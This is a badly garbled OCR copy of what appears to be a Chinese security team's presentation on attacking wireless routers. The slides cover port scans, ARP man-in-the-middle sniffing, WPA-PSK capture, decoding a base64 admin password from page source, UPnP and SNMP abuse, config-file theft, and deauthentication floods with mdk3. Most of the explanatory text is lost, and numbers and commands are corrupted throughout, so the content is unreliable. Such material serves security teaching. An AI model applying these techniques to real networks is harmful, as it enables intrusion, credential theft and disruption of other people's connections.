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DLINK DWL-900AP+ 2.56

AP

W WINDOWS' system32', cmd.exe ) =]

:»T[ools“Port Scannmap—4.53>nmap.exe —vv —sU 192.168.8.258 —p 88

tarting Nmap 4.53 ¢ http:/sinsecure.org > at 2007-12-28 15:45 HEFRERE]
Initiating ARP Ping Scan at 15:45

canning 192 .168.8.258 [1 portl

ompleted ARP Ping Scan at 15:45, B.5%0s elapsed <1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 15:45

ompleted Parallel DNS resolution of 1 host. at 15:45,. 5.58s elapsed
Initiating S5Y¥YM Stealth Scan at 15:454

canning 192.168.8.258 [1 port]

izcovered open port 8@ tcp on 192.168.0_258

ompleted SYMN Stealth Scan at 15:45, B.83s elapsed <1 total ports)
Initiating Service scan at 15:45%

canning 1 service on 1%2.168.68.258

ompleted Service scan at 15:45,. 6.36s elapsed ¢1 service on 1 host?

CRIFT EHGIME: Initiating script scanning.

ost 192_.168.8.258 appears to be up ... good.

Interesting ports on 192_168.A.25A:

ORT STATE SERVICE UERSION

Bstcp open  http D-Link weh admin server {(Embedded HTTP Server 2_56; D-Link
WL-2B0AP +>

AC Address: BA:40:05:27:AE:12 <ANI Communications>

ead data filesz from: F:“Toolz“Port Scan~nmap—4_53
ervice detection performed. Please report any incorrect results at http:-~-insec
re _orgsnmapssubmits L
map done: 1 IP address {1 host up? scanned in 12.85% seconds
Raw packets sent: 2 (B6B> | Rcud: 2 (H8B)

:5\[ools“Port Scan~nmap—4.53>_

12 TP-LINK
WR541G
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EEETl 192.168.1.254
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TF-LIHE Wirelesz Router WES41G/542G

AFP&Eu:
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80
80
1
1
Belkin 80 53 F5D7230
Linksys 80 2869 WRT54G
Dlink 80 52869 DI-524 DI-624
2 ARP
] 2 ARP
Windows ARP
Sniffer
31bit ARP
ARP Cain ARP
31bit ARP *
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|@, Decoders I@ Metwork, Iﬁ'ﬂ Sniffer I(.;j? Cracker Ilﬁ Traceroute IM CCouy I

IP address | MaC address | QI fingerprink | Hostk name | B31 | Blf | B
10.0.0.1 001 195F04152 D-Link, Corporation .
10.0.0.100 001 C2310:2003 Dell Inc
10.0.0.101 0019692934130 Deell Iric.
10.0.0.102 001 9B92948F5 Dell I,
10.0.0.114 O00AE434555E Wistron Corp,
10.0.0.120 001C2314BDEF Dell Inc
10,000,121 0021 70FF 1654 Dell Inc
10.0.0.122 001 C23386235 Dell Inc
10.0.0.123 00z2170CB2518 Dell Inc
10.0.0.125 001 C2344B6E4 Dell Inc
10,0,0,127 a0l Cz23z2e0436 Dell Inc
10.0.0.131 O015F2351730 assTek COMPUTER ..,
3
80
http://10.0.0.1 4
DI1-604+

EESAl 10.0.0.1
i

i T DI-e04+ BOMR#S8 10.0.0.1 EFRAF SH0=FE.
N e e b e e s e = 2 e 1

S8 A s,
APEW: 1 B
TH ©): |

[ BRI R

fiRE HRiH

/AP

5 PCMCIA
Intel Dell
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http://10.0.0.1/

5
AP
RF AP
NetStumbler Commview for WiFi
Netstumble
6 AP
o
" File Edit Wew Device Window Help ____iﬁl_jzj
NER=N =R ® a2
- Channels
=k 55IDs
-tk B30
= ARTWRD
= boco-wlan
@
= ChinaMet
e
= dlink
. FTP
= luowei
= rotoda
|-k wing
-7 Fiters
Ready | Mot scanning | &PS: Disabled i
6
2 MITM
AP IP  MAC
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MITM

DNS DHCP

_ =lolx]
File Wiew Configure Tools Help

l[aweom® | +v ey mEEa0®2 092 i
@ Decoders IQ Mebwork Iﬂ'ﬂ Sniffer Id Cracker I@ Traceroute IM CCou I“a"] Wireless I%) Query |

@ APR. Skatus | IP address | MAC address | Packets -= | <- Packets | MAC address | IP address

APR-Cert (8) R e T i . r—
----- 2 APR-DMS
----- B APR-55H-1 (1)
----- S} APR-HTTPS (17)
----- T4 APR-RDP (1)
----- S} APR-FTPS (0)
----- S} APR-POP3S (0)
----- S} APR-IMAPS ()
----- S} APR-LDAPS (1) 1l | H
----- é APR-SIPS (0} Skatus | IP address | MAC address | Packets - | <- Packets | MAC address | IP addres:

> Half-routing 192.168.2.4 00123445190 3 i 002275479326 10.0,0.25

4 Full-rauting 61.53.126.16 002275479326 14 7 001C234A8190 | 192,168,

7
WEP WPA-PSK
1P
timeout
1P
Belkin F5D8233-4 Belkin

F6D4230-4 Belkin

/

= /&'

Blog http://bigpack.blogbus.com ereless

Email longaslast@126.com

ZerOne Security Team | ZerOne Z4HK



airodump-ng 9 SSID
““Belkin_ZerOne”” WPA-PSK

00 OE E8 D3 BF 71
00 1F 3C 45 56 00
SSID ““Belkin_ZerOne””

root@ZerOne: ~ - Shell - Konsole <@ZerOne><3> = ®mE x|
Session Edit View Bookmarks Settings Help

CH 1 ][ Elapsed: 1 min ][ 2009-08-05 16:08
BSSID RXQ Beacons #Data, #/s C ENC CIPHER AUTH ESSID

00:0E:E8:A0:3F: -21 100 950 16 WEP WEP zerone
00:22:75:4 3 -21 .9 948 2316 WPA TKIP PSK Belkin_ ZerOne
08:10:74: : 82 54 893 249 1 0PN NETCORE
00:74:04: -8 0 307 0 / 0PN ART7WRD
00:1C:FO:42:38:C8 -8 42 237 0 WPA TKIP PSK bogo
8:10:17:09:A7: -84 0 1 0 ! WEP WEP NETCORE21
BSSID STATION 3 Packets Probes

(not 00:26:5E: dlink
(not 2 ) 00:1B:77:
(not a : 2d ) 00:1C:BF:
(not d ) 00:0C:F1:
(not d ) 0C:60:76:
00:22:75:4 : 00:0E:E8:
00:22:75: . 08:1F:3C:
8:10:74:15:31: 8:10:74:

Belkin ZerOne
Belkin_ZerOne

£
- D

w

—

M
RO

P

[%)| @ Shell |
9
D.O.S
Belkin
Belkin = 77
“ A user at 192.168.2.3 is managing the router.””
192.168.2.3
10
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Belkin | Duplicate Admi

Eile Edit \iew History Bookmarks Tools Help

-

l@|Remote-Exploit [ Offensive Security (4 RE Forums RllmilwOrm |8 Metasploit [@).

@ ‘ @ http://192.168.2.1/wan_conn.html

BELKIN Router Setup Utility | 28| Bl BE

SHERR

A user at 192.168.2.3 is managing the router.

10
IP
IP
MAC IP IP
11 Linux
““ Connected to Belkin_ZerOne at 77% IP
192.168.2.3 *” 192.168.2.3 IP

Wicd Manager

EMNetwork » @& Disconnect E2Refresh ZiPreferences - - About sQuit

Choose from the networks below:

g = Belkin ZerCne 57% WPRA 00.22,75:/47.93.26
] Automatically connect to this network
57% WEA 00.22:75:47.93:26 Master Channel 1

5, Scripts " Advanced Settings

=4 Cannect

iﬂ b zerone 55% WEFP 00:0E'E8:A0:5F.30

=4 Connect

H b Coplan 50% WRA 00:1A:70:62:00:79

4| Connect
: Ad |
I!CDnnected to Belkin_ ZerOne at 77% (IP: 192.168.2.3)
11
192.168.2.1 Belkin
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4 WPA-PSK

WEP
WPA-PSK WEP  WPA-PSK
FON
FON
FON ““Myplace”” SSID
WPA-PSK
" ‘&g\lﬁﬁf&
FON WPA-PSK *
7130000877 = =
““Myplace”” - &
SSID Deauth WPA 4 AN
FON ST
WPA-PSK 10

WPA-PSK 2007 12
WPA-PSK FON
WPA-PSK

WEP WPA-PSK
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13
IO # OO OIEsE: 192 168(2) F:izr A0 (119.4K8) -
Projects Pages WebZIP THEE l
[ My ¥ebZIP Projects E"+block2]+"
E---.:_"é;neral 5 gmenul.htm 192_ 168 (2)
{00 192_t6&0 Ehwiz bt
- ‘éwb'\‘:;ht:’ BEE  12/08/m 2
R 192_165(2) Eprim.btm T 9:10:07 Bl:
- i etz =
m lgz_lﬁagsg I_éx.htm ¥ 15 @ +block[2]+
i @menul.htm Hh,
:g iﬁ-ig:w Exhim %fﬁ#i—‘; = S 8 B R Y
AT bigpack blogb éwlap.htm ] FHuth
g Fg;ac —eanE Ewlap.htm Feds 122297 S gpr hleck[2l*
Ewilap.htm . e | {878 C:‘\Documents and Settin
éwizﬂl,htm s Delies F! Document siMy WebZIF Sit:
Iéx.htm
@x.htm
I —
nmE  RiE i
50/21  Sf6 22T
e THREFFHEER
I&
TR R TR
{;Hjﬁﬂﬁ AL,
13
14 ““http_passwd~”
““value="-" ““Y2pjaG53cw==""
Eile Edit \iew Help
i--> =
</script>
</head=>

<body bgcolor="2FFFFFF" leftmargin="0" topmargin="0" margimwidth="0" marginheight="0" ma
<form name="tF0" method="post" action="ut sys.cgi"=

<input type="hidden" name="page" value=""=

=<input type="hidden" pame="logout" value=""=

<input type=hidden name=webpage wvalue=ut sys.html =

<input type=hidden name="user_time_update" value=""=>

<input type=hidden name="lan_ipaddr" value='192.168.2.1'=>

<input type=hidden name="lan_netmask" wvalue='255.255.255.0'=

<input type=hidden name="action" value=""= /
<input type=hidden name="wl0 macmode" value='disabled'>

<input type=hidden|name="http_passwd" value="Y2pjaG53cw=="> |

<input type=hidden name="hiip_repasswd® value="'=

<input type=hidden name="login_timeout" value=""= JI
<input type=hidden name="ntp_timezone" value=""=

<input type=hidden name="ntp dst enabled" walue="":=

<input type=hidden name="remote config i1p" value=""=

““http_passwd™~

Blog
Email

http://bi
longaslast@126.com

14
““http_passwd=~
base64

ack.blogbus.com

15
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}

if(({document.tFO.sysPasswd.value.length < 3 || document.tFOQ.sysPasswd.value.length = 1
{
document. tFO. sysPasswd. focus();
document. tFO. sysPasswd.select();
alert(usys85);
return false;
b
if(document.tFd, sysPasswd, value==document. tF@, sysConfirmPasswd.value && baseBdencode
{

]

document.tFB.httpM.value:document.tFB.sysPasswd.value;
document. tFO.http_repasswd.value=document.tFQ.sysPasswd.value;
i
else
{ Ad |
4 | |
¥ Find: |passwd <3 Previous C> - Highlight all [JMatch
H Line 168, Col 37 L/
15
““Y2pjaG53cw=="" base64
base64 16 ““Base64 encrypted
password”” ““Y2pjaG53cw=="" ““Decrypted
password”” ““cjchnws?”
x
— Bazeb4 encrepted pazsword
|v2ma553cw=4
— Decypted pazsword
Iu:iu:hnws
— Decypted pazzword [HE=]
|53Ea53sase???3
E it |
16
SSID WEP
6 UPNP
(UPNP) PC ( )
UPNnP Internet ( TCP/IP
HTTP XML) (
) UPNP

Google baidu
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UPNP
UPNP

BUFFALO

- BUFFALO
17 ““ InternetGatewayDevice ”~
““manufacturerURL >~ buffalo
““modelName~~ WHR-HP-G54 ““friendlyName~~
““modeDescription”~ BUFFALO WHR-HP-G54 Router

BUFFALO

root@ZerOne: ~ - Shell - Konsole <@ZerOne>
Session Edit View Bookmarks Settings Help

upnp> host summary @

Host: 192.168.11.1:49152
XML File: http://192.168.11.1:49152/gatedesc.xml
InternetGatewayDevice
manufacturerURL: http://buffalo.co.jp/
modelName: WHR-HP-G54
UPC: WHR-HP-G54
modelNumber: F/W Version 1.40
presentationURL: http://192.168.11.1/
friendlyName: BUFFALO WHR-HP-G54
fullName: urn:schemas-upnp-org:device:InternetGatewayDevice:1
modelDescription: BUFFALO WHR-HP-G54 Broadband Router
UDN: uuid:75802409-bcch-40e7-8ebc-fad95eccelle
modelURL: http://192.168.11.1/
manufacturer: BUFFALO INC.
WANDevice
manufacturerURL: http://buffalo.co.jp/
modelName: WHR-HP-G54
UPC: WHR-HP-G54
modelNumber: 1.40
friendlyName: WANDevice
TullName: urn:schemas-upnp-org:device:WANDevice:1
modelDescription: WANDevice on WHR-HP-G54
UDN: uuid:75802409-bccb-40e7-8ebc-fab95eccelle
modelURL: http://192.168.11.1/
manufacturer: BUFFALO INC.
WANConnectionDevice
manufacturerURL: http://buffalo.co.jp/

%)| @ Shell [

17

UPNP 18
““NewConnectionStatus”” Disconnected
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root@ZerOne: ~ - Shell - Konsole <@ZerOne>
Session Edit View Bookmarks Settings Help

upnp> host send @ WANConnectionDevice WANIPConnection GetStatusInfo

NewlUptime : 15399
NewLastConnectionError : ERROR_NONE
NewConnectionStatus : Disconnected

upnp> |
[=]| = shel | o
18
] 1P
UPNP IP 19
““NewExternallPAddress”” 10.0.0.129

/

root@ZerOne: ~ - Shell - Konsole <@ZerOne> <3>
Session Edit View Bookmarks Settings Help

upnp>= host send © WANConnectionDevice WANIPConnection GetExternallPAddress

NewExternalIPAddress : 10.0.0.129

upnp> |
[=]| = shen |
19
|
UPNP
20
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root@ZerOne: ~ - Shell - Konsole <@ZerOne>
Session Edit View Bookmarks Settings Help

upnp> host send 0 WANConnectionDevice WANIPConnection GetSpecificPortMappingEntr
Y

Required argument:
Argument Name: NewExternalPort
Data Type: uiz
Allowed Values: []
Set NewExternalPort value to: 9527

Required argument:
Argument Name: NewRemoteHost
Data Type: string
Allowed Values: []
Set NewRemoteHost value to:

Required argument:
Argument Name: NewProtocol
Data Type: string
Allowed Values: ['TCP', 'UDP']
Set MewProtocol value to: TCP

NewPortMappingDescription : All your ports are belong to us
NewlLeaseDuration : 0O

NewInternalClient : 192.168.0.1

NewEnabled : 1

NewInternalPort : 80

upnp> |

<|| = shel |
20
7 SNMP
SNMP (Simple Network Management Protocol, )
IP HUB
SNMP
SNMP
SNMP SNMP
SNMP
SNMP SNMP
GET SET GET
SET
GET

SET DoS
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|
public private /
SNMP
21 ““2_WAN_QOS_Router®?
Hostrarne or IP Address |192.188.50.‘I Select Device I ) ?f;e ] ?::Jle @STOP
MIE Tree ——— =
= 7 2_wWAN_QoS_Router |
ccitt (0 -
= jac:ommendati... ] Refresh | _» Get Mext | ¥ Clear |
MIB | 0OID Mame W
sysDescr 0 “PH Router
sysObject!D.0 enterprises.23871.250.10
sysUpTime.O 1 days, 15 hours, 23 minutes
sysContact.0
syshame.0 I 2 AN QOS5 Router I
sysLocation.0
sysServices 0 78
sysORLastChange .0 2
sysORIDA iftiB . .
SySORID 2 SnmphB BARNER BT
sysORID.S tepMiB
sysORID.4 in
sysORIDS udphie
sysORIDE vacmBasicGroup
sysORIDY snmpFramevworktBCompliance
SMMP2-IB sysORID.G snmptPDCompliance
syzORIDA uzsmtBCompliance
sysORDescr.1 The MIB module to describe generic objects for netwark i
21
22
““2 WAN_ZerOne_ Router”? ““ZerOne Security
Team?” longaslast@gmail.com
Hastname or IP Address [152.155.50.1 SekectDevice | @y 50t | | 7o), | @ sTOP
MIE Tree ——— @ X
@ 2_waN_Qos_Router |
EL coitt (00 -
) L;jm:ecommendati... ﬂ Refresh | o Get Mext | W Clear |
MIB [ 0D Hame
syshescr.0 PR Router
sysObjectlD 0 enterprizses 23871 .250.10
syslpTime.0 1 days, 15 hours, 23 minutes, S0 seconds
[ sysContact.0 longaslast@amail.com
E|......é dod () sysMame.0 2_WAN_ZerDne_Router
=L internet . =ysLocation.0 ZerOne Security Team
sysServices 0 e
sysORLastChange 0 2
. *,
v MEMERRGEER
ysORID .2 snmphIe
sysORID 3 teptdB
syvsORID .4 [14]
sysORID S udphiB
zys0ORID & vacmBazicGroup
sysORID.7 snmpFrameworkMBComplisnce
ShPy2-hAIB sy=0RID & snmphPDCompliance
yvsORID .S uzmbIBCampliance
sysORDescr 1 The MIB module to describe generic ohjects for nety
22
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- SNMP
SNMP 2.0  SNMP 1.0

23 2
SNMP
(e L=
File Miew Configure Took Help
lawehnm | +v 2 uinEEea0®z |02 0
[& Decoders | D metwork | sriffer [of cracker |48 Tracerours [ coou [ wirsless | cuery |
~EHTTP(1326)  «|| Last seen | sturp server | client | version | Communit
15D AR (0 | 21/12{2009 - 13:29:03 192, 168,50,1 192.168.2.4 SHMPy2 private
i
23
SNMP 3.0 SNMP 3.0
DES Data Encryption Standard SNMP 3.0 MD5
SHA Secure Hash Algorithm
SNMP 3.0 2 3
SNMP 3.0 SNMP 2.0
SNMP 1.0 SNMP 3.0
SNMP 3.0
8 Config

IPTime
http://192.168.0.1/config.cfg
24
IO ]

EERTFHY  ERAERIEFEEFFIT T e

EF: config.cfg
PR hapirioeRl 6 9KE
M 192.168.0.1

ik (E) B &

- K E Internet EIICEEEEEHEARARERD , (BRI AT EE
S faEEEn Tl IRNMEE AR, IARSHRAT |
IR AR R R R O

24

i
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config

25 Linux 16
root@ZerOne: ~ - Shell - Konsole <@ZerOne> m S

Session Edit View Bookmarks Settings Help

o:~# hexdump -C config.bin E

fa d7 e9 ae b3 fb
uuuuuu i 93 4b 20 58 01 28 ba
popeoeZe 3 3b c9 93 8e al
elelelelelc sl 24 2d c6 38
popeoe4e 86 le 9
Elekelel ] e d2 ee
elefelelelelete] 88
peeEoBTe dé  4b
elefelclelcR:{c] 74 87
elelelelcqeRe1e] 9b
elelelefelel=1el 375
opeeoeehe 6 dd
elelelelalcNolc] b8
gpeeeede 35
elelelelelcr=1¢] ) @5
gpeeeefe
peee0168

~ —h
0 oo
=y

oo

@ oOh
|

(=]
[=n

,N.5.(-.85q!.
[8.W.\S....FX

w
[

=8

-~
o =
" o

oW ra
o
[ %)

[* LB R < B U B =)

[f=]
o o
@

o0

o

™
oo
=

=h
L = L
s = N )

o
w ot
m
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=

w
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A B = <
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o
W =hr
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|
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oReeA150
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Ln
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wow
[ 5 =]
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”
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=]
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J
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[2]] = shen ]
25
config
9 D.O.S
D.O.S
IEEE 802.11
AP IEEE 11-16
3 1 2
WLAN
26 3
2
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N —
- .

7 st
| Unauthenticated |
Unassociated

Successiul Deauthentication
Authentication Notification

S

- S
| Authenticated |
Unassociated

Successful Disassociation
Associafion Motification
/7 sates
| Authenticated ]

. Associated S

26
2

Unauthenticated

State 1 - AP
Unassociated AP
Authenticated

State 2 - AP
Unassociated
Authenticated

State 3 - AP
Associated AP

D.O.S D.O.S
D.O.S
|

De-authentication Flood Attack
Deauth
AP

27
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T.2:D.0.S
Deauth #tAkK ¥

1. &P 5 APHSLER

2. ENT G AVIEREOE B
HRAEIR

3. B ECA A IRk B AP
4. EEEE ) W B AT WO E

FEkHacker

Elx: %% I longasiflfE

27
Deauthentication

Linux MDK2/3 Void1l1l
aireplay-ng -0
15~100
28 76

=

Session Edit View Bookmarks Settings Help

:~# mdk3 mon® d E A 

et
=]

channel:
channel:
channel:
channel:
channel
channel:
channel:
channel:
nnel:
channel:

Disconnecting between: 80: :FD:61 and:
Disconnecting between: 00: 4:C6:FD:61 and:
Disconnecting between: @ : 161 and:
Disconnecting between: 00: :CB:FD:61 and:
Disconnecting between: 0 :98:51:44 and:
Disconnecting between: 0 3 L and:
Disconnecting between: B8 :98:51:44 and:
Disconnecting between: B8 168:98:51:44 and:
Disconnecting between: B8 ) ELH
Disconnecting between: B8 :44:C6:FD: and:
Disconnecting between: B8 . :FD:61 and: channel:
Disconnecting between: PR -FRERSFF and: channel:
Disconnecting between: {FF:RE:EE: EE; and: :19:E0: channel
Disconnecting between: @ :68:98:51:44 and: 00:19:E0:EB:33: channel:
Disconnecting between: 0 :98:51:44 and: 00:19:E0:EB: channel:
Disconnecting between: 0 168:98:51: and: :19:E@:EB:33: channel:
Disconnecting between: H 3 and: :19:EQ:EB:3 channel:
Disconnecting between: 8 144:C6:FD:61 and: :19:E@:EB:33: channel:
Disconnecting between: B8 : :FD:61 and: 08:19:E8: channel:
Disconnecting between: 80: :C9:71:71 and: 08:19:E8:EB:33: channel:
Packets sent: 617 - : kets/se

L el el el o
R = =]

i1
119
11

=
0w oo

|| @mshell | @ ShellNo.2 | @ Shell No.3 | =
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29 Deauth
Wireshark 802.11 Deauthentication
ol x|

File Edit W¥ew Go Capture Analyze Statistics Telsphony Tools Help

BWees cEXEE|lqacsaTi/EEBIAQAARD DS % | B

F\Jtar:l >  Expression.. Clear Apply
Mo, - | Tirne | Source | Destination | Protocol | Infa ﬁ
397 39.904770 Te-LinkT_eb:33: Broadcast (RA) IEEE 802.11 CF-End (Contr‘o'l frame), F'Iac_.
S 7k o) kT 2, thent 22 S
399 39.904768 Tp-LinkT_eb:33: IEEE 802.11 Acknowledgement, Flag HE
400 39,909915 Tp-LinkT_eb:33: Lite-OnT_cb:fd: IEEE 802.11 Deauthentication, SN= 1703 f
401 39.909915 Lite-OnT_c6:fd: Tp-LinkT_eb:33: TEEE 802.11 Disassociate, SN=1703, Fn=0
402 39.909870 Tp-LinkT_eb:33: IEEE 802.11 Acknow'ledgement, Flags=....
403 39.909915 Lite-OnT_c6: fd: Tp-LinkT_eb:33: IEEE 802.11 Deauthentication, SM=1703,
404 39.909888 Lite-OnT_c6b:fd: IEEE 802.11 Acknowledgement, Flags=....
405 39.909915% Tp-LinkT_eb:33: Lite-OnT_cb:fd: IEEE 802.11 Disassociate, SN=1703, FnN=0
406 39.909888 Lite-onT_c6:fd: TEEE 802.11 Acknowledgement, Flags=....
407 39.911451 Te-LinkT_eb:33: Lite-onT_c6:fd: IEEE 802.11 Deauthentication, SwW=1703, |
408 39.911451 Lite-OnT_c6:fd: Tp-LinkT_sh:33: IEEE 802.11 Disassociate, SN=1703, FN=0
409 39.912475 Lite-OnT_c6:fd: Tp-LinkT_zb:33: IEEE 802.11 Deauthentication, SN=1703, |
410 39.912446 Lite-OnT_c6:fd: IEEE 802.11 Acknowledgement, Flags=....
411 39.913454 Tp-LinkT_eb:33: Tp-LinkT_eb:33: TEEE 802.11 Deauthentication, SN=3581, k4|
4 | i
Frame 398 (26 bytes on wire, 26 bytes captured) -
B IEEE 802.11 Deauthentication, Flags: ....R...
Type/Subtype: Deauthentication (Ox0c)
Frame Control: O0x08CO (Normal)
Duration: 314
Destination address: Tp-LinkT_eb:33:66 (00:19:e0:eb:33:66)
Source address: Tp-LinkT_eb:33:66 (00:19:e0:eb:33:66) |
0000 <O 08 2a 0L 00 19 e0 eb 33 66 00 12 e0 eb 33 66 e Ifiwe3t
0010 00 19 e0 eb 33 66 b0 df 06 00 ERRTS -
O|Fi|e: "¥iprepare picti T 4 \dosideauth’deauth. |Packets: 5481 Displayed: 5481 Marked: 0 ‘Prafile:DefauIt 7
29
Deauthentication
Disassociation
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F-#&Hacker
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root@ZerOne: ~ - Shell No. 2 - Konsole
Session Edit View |foot@ZerOne: ~ - Shell No. 2 - Konsole

CH & ][ Elapsed: 2 mins ][ 2809-89-15 17:10
BS55ID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

JE:AQ:CF:BC:44: 50 L 54 OPN zlg
B2:1F B 86 § B 54 . WEF WEP bbb
0O:19:E0:EB:33: 182 654 6 54 . WEP WEP OPN TP-LINK

BSSID STATION ; Lost Packets Probes

JE:ADQ:CF:BC:44:0 2F:EE:15:82:
tAB : 4: C9:2A:D9: :
LAD
+AD
LAD

HHEHHEFFEFHEFERFRFERFERERFRF

D.O.S RF
RF RF Jamming Attack
RF Disruption Attack
RF Radio Frequency
s £ A 32
T > GSM
CDMA 33 /GPS

32 33
Ok RF

4
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WL B | ££D.0.S2
L AR RFF it

M ey
FRAEFESN au
ERBREE BRI B %%/ longastifE
34
2.4GHz
802.11b 802.11g 802.11n 3
3
802.11b 11 Mbps 2.4000 -- 2.4835GHz
802.11¢g 54 Mbps 2.4000 -- 2.4835GHz
802.11n 540 Mbps 2.4000 -- 2.4835GHz
10
AP
3
WEP WPA o7

WEP WPA-PSK
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